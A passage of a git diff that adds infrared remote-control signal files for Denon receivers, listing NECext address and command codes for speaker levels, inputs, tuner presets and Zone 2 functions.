DOLBY_RHL_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1AE 00 00 00 +# +name: DOLBY_RHR_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1AF 00 00 00 +# +name: DOLBY_RHR_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1B0 00 00 00 +# +name: DOLBY_LF_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1B1 00 00 00 +# +name: DOLBY_LF_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1B2 00 00 00 +# +name: DOLBY_RF_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1B3 00 00 00 +# +name: DOLBY_RF_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1B4 00 00 00 +# +name: DOLBY_SL_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1B5 00 00 00 +# +name: DOLBY_SL_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1B6 00 00 00 +# +name: DOLBY_SR_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1B7 00 00 00 +# +name: DOLBY_SR_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1B8 00 00 00 +# +name: DOLBY_LB_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1B9 00 00 00 +# +name: DOLBY_LB_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1BA 00 00 00 +# +name: DOLBY_RB_SPEAKER_LEVEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1BB 00 00 00 +# +name: DOLBY_RB_SPEAKER_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1BC 00 00 00 +# +name: LFC_ON +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1BD 00 00 00 +# +name: LFC_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1BE 00 00 00 +# +name: LFC_TOGGLE_ON/OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 1C8 00 00 00 +# +name: DSX_SELECT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 211 00 00 00 +# +name: DYNAMIC_VOLUME_TOGGLE_MODE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 221 00 00 00 +# +name: DYNAMIC_EQ_TOGGLE_ON/OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 223 00 00 00 +# +name: RESTORER_MODE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 224 00 00 00 +# +name: DYNAMIC_EQ/VOLUME_TOGGLE_MODE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 225 00 00 00 +# +name: FRONT_SPEAKER_A +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 226 00 00 00 +# +name: FRONT_SPEAKER_B +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 228 00 00 00 +# +name: FRONT_SPEAKER_A+B +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 22A 00 00 00 +# +name: RESTORER_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 22C 00 00 00 +# +name: RESTORER_MODE_1 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 22D 00 00 00 +# +name: RESTORER_MODE_2 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 22E 00 00 00 +# +name: RESTORER_MODE_3 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 22F 00 00 00 +# +name: SS_AUDIO_DELAY +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 26C 00 00 00 +# +name: AUDIO_DELAY_MODE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 26C 00 00 00 +# +name: AUDIO_DELAY_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 26D 00 00 00 +# +name: AUDIO_DELAY_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 26E 00 00 00 +# +name: INFO_/_OSD +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 270 00 00 00 +# +name: DSX_ON_HEIGHT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 282 00 00 00 +# +name: DSX_ON_WIDE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 283 00 00 00 +# +name: DSX_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 284 00 00 00 +# +name: STATUS_REQUEST +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 285 00 00 00 +# +name: DSX_ON_WIDE+HEIGHT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 287 00 00 00 +# +name: INPUT_IPOD +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 29B 00 00 00 +# +name: HDMI_MONITOR_SELECT_1 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 29D 00 00 00 +# +name: HDMI_MONITOR_SELECT_2 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 29E 00 00 00 +# +name: INPUT_AUX/NET/USB/ONLINE_MUSIC +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2C7 00 00 00 +# +name: INPUT_TUNER_XM +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2CA 00 00 00 +# +name: INPUT_DTU_/_HD_RADIO +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2CB 00 00 00 +# +name: INPUT_AUX/NET +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2CC 00 00 00 +# +name: INPUT_AUX/IPOD/DOCK +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2CD 00 00 00 +# +name: INPUT_AUX/USB +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2CE 00 00 00 +# +name: INPUT_HD_RADIO +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2CF 00 00 00 +# +name: INPUT_BD +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2D1 00 00 00 +# +name: INPUT_GAME +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2D5 00 00 00 +# +name: INPUT_GAME_2 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2D7 00 00 00 +# +name: INPUT_VCR4 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2D8 00 00 00 +# +name: INPUT_AUX_2 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2DA 00 00 00 +# +name: INPUT_BD/DVD/HDP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2DC 00 00 00 +# +name: INPUT_VCR_1/2 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2DD 00 00 00 +# +name: INPUT_VCR_3/4 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2DE 00 00 00 +# +name: INPUT_VCR/DVR/MEDIA_PLAYER +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2DF 00 00 00 +# +name: MULTEQ_XT_32_TOGGLE_MODE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2E0 00 00 00 +# +name: INPUT_INTERNET_RADIO +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2E5 00 00 00 +# +name: DYNAMIC_VOLUME_HEAVY/MIDNIGHT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2EC 00 00 00 +# +name: DYNAMIC_VOLUME_MEDIUM/EVENING +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2ED 00 00 00 +# +name: DYNAMIC_VOLUME_LIGHT/DAY +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2EE 00 00 00 +# +name: INPUT_BLUETOOTH +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2EF 00 00 00 +# +name: HDMI_MONITOR_SELECT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2F1 00 00 00 +# +name: HDMI_MONITOR_SCALE/RESOLUTION +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2F2 00 00 00 +# +name: HDMI_ASPECT_RADIO_16:9 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2F5 00 00 00 +# +name: HDMI_ASPECT_RADIO_4:3 +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2F6 00 00 00 +# +name: DYNAMIC_EQ_REF_LEVEL_0DB +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2F8 00 00 00 +# +name: DYNAMIC_EQ_REF_LEVEL_5DB +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2F9 00 00 00 +# +name: DYNAMIC_EQ_REF_LEVEL_10DB +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2FA 00 00 00 +# +name: DYNAMIC_EQ_REF_LEVEL_15DB +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2FB 00 00 00 +# +name: INPUT_SPOTIFY +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2FC 00 00 00 +# +name: INPUT_PANDORA +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 2FD 00 00 00 +# +name: NET/USB_CURSOR/ARROW_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 300 00 00 00 +# +name: NET/USB_CURSOR/ARROW_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 301 00 00 00 +# +name: NET/USB_CURSOR/ARROW_LEFT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 302 00 00 00 +# +name: NET/USB_CURSOR/ARROW_RIGHT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 303 00 00 00 +# +name: NET/USB_ENTER/PLAY/PAUSE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 304 00 00 00 +# +name: NET/USB_PLAY +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 305 00 00 00 +# +name: NET/USB_PAUSE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 306 00 00 00 +# +name: NET/USB_STOP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 307 00 00 00 +# +name: NET/USB_SKIP_PLUS +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 308 00 00 00 +# +name: NET/USB_SKIP_MINUS +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 309 00 00 00 +# +name: NET/USB_REPEAT_ONE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 30A 00 00 00 +# +name: NET/USB_REPEAT_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 30B 00 00 00 +# +name: NET/USB_RANDOM_ON +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 30C 00 00 00 +# +name: NET/USB_RANDOM_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 30D 00 00 00 +# +name: NET/USB_REPEAT_ALL +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 311 00 00 00 +# +name: GRAPHIC_EQ_TOGGLE_ON/OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 315 00 00 00 +# +name: GRAPHIC_EQ_ON +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 318 00 00 00 +# +name: GRAPHIC_EQ_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 31F 00 00 00 +# +name: IPOD_CURSOR/ARROW_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 320 00 00 00 +# +name: IPOD_CURSOR/ARROW_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 321 00 00 00 +# +name: IPOD_CURSOR/ARROW_LEFT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 322 00 00 00 +# +name: IPOD_CURSOR/ARROW_RIGHT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 323 00 00 00 +# +name: IPOD_ENTER +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 324 00 00 00 +# +name: IPOD_PLAY/PAUSE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 325 00 00 00 +# +name: IPOD_STOP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 327 00 00 00 +# +name: IPOD_SKIP_PLUS/FORWARD +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 328 00 00 00 +# +name: IPOD_SKIP_MINUS/REVERSE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 329 00 00 00 +# +name: IPOD_SEARCH_FORWARD +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 32A 00 00 00 +# +name: IPOD_SEARCH_REVERSE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 32B 00 00 00 +# +name: IPOD_REPEAT_ONE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 32C 00 00 00 +# +name: IPOD_REPEAT_ALL +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 32D 00 00 00 +# +name: IPOD_REPEAT_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 32E 00 00 00 +# +name: IPOD_SHUFFLE_SONGS +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 32F 00 00 00 +# +name: IPOD_SHUFFLE_ALBUMS +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 330 00 00 00 +# +name: IPOD_SHUFFLE_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 331 00 00 00 +# +name: IPOD_MENU +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 332 00 00 00 +# +name: IPOD_MODE_BROWSE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 333 00 00 00 +# +name: IPOD_MODE_REMOTE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 334 00 00 00 +# +name: HDMI_CONTROL/CEC_ON +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 33A 00 00 00 +# +name: HDMI_CONTROL/CEC_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 33B 00 00 00 +# +name: HDMI_AUDIO_OUT_TOGGLE_TV/AMP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 33D 00 00 00 +# +name: HDMI_AUDIO_OUT_TV +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 33E 00 00 00 +# +name: HDMI_AUDIO_OUT_AMP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 33F 00 00 00 +# +name: PARTY +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 343 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 344 00 00 00 +# +name: INSTA_PREVIEW_TOGGLE_ON/OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 35B 00 00 00 +# +name: INSTA_PREVIEW_ON +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 366 00 00 00 +# +name: INSTA_PREVIEW_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 367 00 00 00 +# +name: ECO_MODE_TOGGLE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 368 00 00 00 +# +name: ECO_MODE_OFF +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 369 00 00 00 +# +name: ECO_MODE_ON +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 36A 00 00 00 +# +name: ECO_MODE_AUTO +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 36B 00 00 00 +# +name: OPTION +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3B5 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3BC 00 00 00 +# +name: RANDOM/SHUFFLE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3BD 00 00 00 +# +name: USB_DIRECT_PLAY +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3BE 00 00 00 +# +name: FAVORITE_DIRECT_PLAY +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3BF 00 00 00 +# +name: TUNER_PRESET_CHANNEL_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3CC 00 00 00 +# +name: TUNER_PRESET_CHANNEL_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3CD 00 00 00 +# +name: TUNER_PRESET_CHANNEL_SHIFT +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3CE 00 00 00 +# +name: TUNER_PRESET_SEARCH/RDS +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3D7 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3E0 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3E1 00 00 00 +# +name: TUNER_PRESET_SKIP/TUNE_DOWN +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3E3 00 00 00 +# +name: TUNER_PRESET_SKIP/TUNE_UP +type: parsed +protocol: NECext +address: 04 01 00 00 +command: 3E4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir new file mode 100644 index 000000000..3d6dc67f0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_NEW_TUNE_UP +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 90 00 00 00 +# +name: TUNER_NEW_TUNE_DOWN +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 91 00 00 00 +# +name: TUNER_NEW_PRESET_UP +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 92 00 00 00 +# +name: TUNER_NEW_PRESET_DOWN +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 93 00 00 00 +# +name: TUNER_NEW_SHIFT +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 94 00 00 00 +# +name: TUNER_NEW_BAND_TOGGLE_AM/FM +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 98 00 00 00 +# +name: TUNER_NEW_BAND_FM +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 99 00 00 00 +# +name: TUNER_NEW_BAND_AM +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 9A 00 00 00 +# +name: TUNER_NEW_MODE_TOGGLE_AUTO/MANUAL +type: parsed +protocol: NECext +address: 04 02 00 00 +command: 9C 00 00 00 +# +name: TUNER_NEW_MEMORY +type: parsed +protocol: NECext +address: 04 02 00 00 +command: A0 00 00 00 +# +name: TUNER_NEW_SEARCH/RDS +type: parsed +protocol: NECext +address: 04 02 00 00 +command: A3 00 00 00 +# +name: TUNER_NEW_RT +type: parsed +protocol: NECext +address: 04 02 00 00 +command: A6 00 00 00 +# +name: TUNER_NEW_PTY +type: parsed +protocol: NECext +address: 04 02 00 00 +command: A9 00 00 00 +# +name: TUNER_NEW_PRESET_1 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: B0 00 00 00 +# +name: TUNER_NEW_PRESET_2 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: B1 00 00 00 +# +name: TUNER_NEW_PRESET_3 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: B2 00 00 00 +# +name: TUNER_NEW_PRESET_4 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: B3 00 00 00 +# +name: TUNER_NEW_PRESET_5 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: B4 00 00 00 +# +name: TUNER_NEW_PRESET_6 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: B5 00 00 00 +# +name: TUNER_NEW_PRESET_7 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: B6 00 00 00 +# +name: TUNER_NEW_PRESET_8 +type: parsed +protocol: NECext +address: 04 02 00 00 +command: B7 00 00 00 +# +name: TUNER_NEW_SHIFT_A +type: parsed +protocol: NECext +address: 04 02 00 00 +command: F8 00 00 00 +# +name: TUNER_NEW_SHIFT_B +type: parsed +protocol: NECext +address: 04 02 00 00 +command: F9 00 00 00 +# +name: TUNER_NEW_SHIFT_C +type: parsed +protocol: NECext +address: 04 02 00 00 +command: FA 00 00 00 +# +name: TUNER_NEW_SHIFT_D +type: parsed +protocol: NECext +address: 04 02 00 00 +command: FB 00 00 00 +# +name: TUNER_NEW_SHIFT_E +type: parsed +protocol: NECext +address: 04 02 00 00 +command: FC 00 00 00 +# +name: TUNER_NEW_SHIFT_F +type: parsed +protocol: NECext +address: 04 02 00 00 +command: FD 00 00 00 +# +name: TUNER_NEW_SHIFT_G +type: parsed +protocol: NECext +address: 04 02 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir new file mode 100644 index 000000000..8a3ac0225 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir @@ -0,0 +1,782 @@ +Filetype: IR signals file +Version: 1 +# +name: ZONE2_DIGIT_1 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 10 00 00 00 +# +name: ZONE2_DIGIT_2 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 11 00 00 00 +# +name: ZONE2_DIGIT_3 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 12 00 00 00 +# +name: ZONE2_DIGIT_4 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 13 00 00 00 +# +name: ZONE2_DIGIT_5 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 14 00 00 00 +# +name: ZONE2_DIGIT_6 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 15 00 00 00 +# +name: ZONE2_DIGIT_7 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 16 00 00 00 +# +name: ZONE2_DIGIT_8 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 17 00 00 00 +# +name: ZONE2_DIGIT_9 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 18 00 00 00 +# +name: ZONE2_DIGIT_0 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 19 00 00 00 +# +name: ZONE2_CURSOR/ARROW_UP +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1B 00 00 00 +# +name: ZONE2_CURSOR/ARROW_DOWN +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1C 00 00 00 +# +name: ZONE2_CURSOR/ARROW_LEFT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1D 00 00 00 +# +name: ZONE2_CURSOR/ARROW_RIGHT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1E 00 00 00 +# +name: ZONE2_ENTER/SELECT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 1F 00 00 00 +# +name: ZONE2_AUDIO_FUNCTION +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 20 00 00 00 +# +name: ZONE2_VIDEO_FUNCTION +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 21 00 00 00 +# +name: ZONE2_RETURN/BACK +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 22 00 00 00 +# +name: ZONE2_MENU +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 23 00 00 00 +# +name: ZONE2_VIDEO_SELECT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 70 00 00 00 +# +name: ZONE2_FAVORITE_1 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: F2 00 00 00 +# +name: ZONE2_FAVORITE_2 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: F3 00 00 00 +# +name: ZONE2_FAVORITE_3 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: F4 00 00 00 +# +name: ZONE2_FAVORITE_4 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: F5 00 00 00 +# +name: ZONE2_QUICK_SELECT_/_USER_PRESET_1 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 124 00 00 00 +# +name: ZONE2_QUICK_SELECT_/_USER_PRESET_2 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 125 00 00 00 +# +name: ZONE2_QUICK_SELECT_/_USER_PRESET_3 +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 126 00 00 00 +# +name: ZONE2_SURROUND_MODE_STEREO +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 130 00 00 00 +# +name: ZONE2_SURROUND_MODE_DIRECT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 131 00 00 00 +# +name: ZONE2_SURROUND_MODE_PURE +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 133 00 00 00 +# +name: ZONE2_SURROUND_MODE_STANDARD_(DOLBY/DTS) +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 134 00 00 00 +# +name: ZONE2_SURROUND_MODE_DOLBY_DIGITAL +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 138 00 00 00 +# +name: ZONE2_SURROUND_MODE_DOLBY_DIGITAL_EX +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 139 00 00 00 +# +name: ZONE2_SURROUND_MODE_DOLBY_PL2_CINEMA +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 13A 00 00 00 +# +name: ZONE2_SURROUND_MODE_DOLBY_PL2_MUSIC +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 13B 00 00 00 +# +name: ZONE2_SURROUND_MODE_DOLBY_PL +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 13C 00 00 00 +# +name: ZONE2_SURROUND_MODE_DTS_ES +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 141 00 00 00 +# +name: ZONE2_SURROUND_MODE_DTS_NEO6_CINEMA +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 142 00 00 00 +# +name: ZONE2_SURROUND_MODE_DTS_NEO6_MUSIC +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 143 00 00 00 +# +name: ZONE2_SURROUND_MODE_GAME +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 14D 00 00 00 +# +name: ZONE2_SURROUND_MODE_CINEMA +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 14E 00 00 00 +# +name: ZONE2_SURROUND_MODE_MUSIC +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 14F 00 00 00 +# +name: ZONE2_SURROUND_MODE_DSP_SIMULATION +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 150 00 00 00 +# +name: ZONE2_SURROUND_MODE_5/7/MULTI_CH_STEREO +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 151 00 00 00 +# +name: ZONE2_SURROUND_MODE_DSP_WIDE_SCREEN +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 152 00 00 00 +# +name: ZONE2_SURROUND_MODE_DSP_SUPER_STADIUM +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 153 00 00 00 +# +name: ZONE2_SURROUND_MODE_DSP_ROCK_ARENA +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 154 00 00 00 +# +name: ZONE2_SURROUND_MODE_DSP_JAZZ_CLUB +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 155 00 00 00 +# +name: ZONE2_SURROUND_MODE_DSP_CLASSIC_CONCERT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 156 00 00 00 +# +name: ZONE2_SURROUND_MODE_DSP_MONO_MOVIE +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 157 00 00 00 +# +name: ZONE2_SURROUND_MODE_DSP_MATRIX +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 158 00 00 00 +# +name: ZONE2_SURROUND_MODE_DSP_VIDEO_GAME +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 159 00 00 00 +# +name: ZONE2_SURROUND_MODE_DSP_VIRTUAL +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 15A 00 00 00 +# +name: ZONE2_INPUT_MODE_AUTO +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 160 00 00 00 +# +name: ZONE2_INPUT_MODE_ANALOG +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 161 00 00 00 +# +name: ZONE2_VOLUME_UP +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 170 00 00 00 +# +name: ZONE2_VOLUME_DOWN +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 171 00 00 00 +# +name: ZONE2_VOLUME_MUTE +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 172 00 00 00 +# +name: ZONE2_VOLUME_PRESET_1_(0DB) +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 174 00 00 00 +# +name: ZONE2_VOLUME_PRESET_2_(-20DB) +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 175 00 00 00 +# +name: ZONE2_VOLUME_PRESET_3_(-40DB) +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 176 00 00 00 +# +name: ZONE2_CHANNEL_SELECT +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 176 00 00 00 +# +name: ZONE2_CHANNEL_LEVEL_UP +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 17B 00 00 00 +# +name: ZONE2_CHANNEL_LEVEL_DOWN +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 17C 00 00 00 +# +name: ZONE2_TEST_TONE +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 17F 00 00 00 +# +name: ZONE2_ALL_TREBLE_UP +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 190 00 00 00 +# +name: ZONE2_ALL_TREBLE_DOWN +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 191 00 00 00 +# +name: ZONE2_ALL_BASS_UP +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 193 00 00 00 +# +name: ZONE2_ALL_BASS_DOWN +type: parsed +protocol: NECext +address: 04 03 00 00 +command: 194 00 00 00 +# +name: ZONE2_TONE_CONTROL_OFF_/_DEFEAT_ON +type: parsed 